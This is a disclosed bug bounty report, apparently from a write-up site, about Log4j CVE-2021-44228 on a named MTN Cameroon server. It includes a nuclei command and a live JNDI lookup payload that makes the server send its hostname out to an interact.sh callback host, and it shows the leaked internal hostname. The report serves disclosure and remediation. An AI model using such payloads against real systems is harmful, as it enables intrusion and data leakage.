Remote code injection in Log4j on http://mtn1app.mtncameroon.net - CVE-2021-44228
The report claims that a server running Log4j is vulnerable to CVE-2021-44228, allowing remote code execution. The attacker used a scanner to trigger a JNDI lookup and retrieve the machine's hostname, demonstrating the flaw.
- Triaged in 31 days
- Fixed in 8 months
- Disclosed after 2.7 years
###Summary Hello,
I would to like report this security flaw on http://mtn1app.mtncameroon.net . Using script nuclei i can found CVE-2021-44228. This is a critical issue cause as remote command execution. On my test i just retrive hostname of machine via nuclei script. (https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml)
###Steps To Reproduce How we can reproduce the issue;
- run nuclei script via cmd; ./nuclei -u http://mtn1app.mtncameroon.net:8080/ -t ../nuclei-templates/cves/2021/CVE-2021-44228.yaml
It will retrive the hostname of machine on output " lastic-co1-nodes1.mtnnigeria.net"
Like this;
http://mtn1app.mtncameroon.net:8080/?x=${jndi:ldap://${hostName}.c6s11oscca8f9pc2lrggcghbnjyyyybjg.interact.sh/a} [lastic-co1-nodes1.mtnnigeria.net]
This vulnerability is on port 8080 and 8443;
###Mitigation Update according the vendor and thecnical references..
###References https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
Impact
Remote command execution
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application uses a vulnerable version of Log4j that processes JNDI lookups in logged strings without proper validation.
Impact
An attacker could achieve remote command execution on the vulnerable server.
What the attacker needed
Network access to the target
The fix
The application should be updated to a non-vulnerable version of Log4j according to vendor guidance.
How it was found
- Run the nuclei scanner with the Log4j CVE template against the target URL.
- Observe the output showing the retrieved hostname.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a logging library used by many Java applications. A flaw in it lets an attacker send a special string that makes the server connect to an attacker-controlled server, which can lead to running malicious code. Here, the tester used a scanner to confirm the server was vulnerable by making it reveal its hostname.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.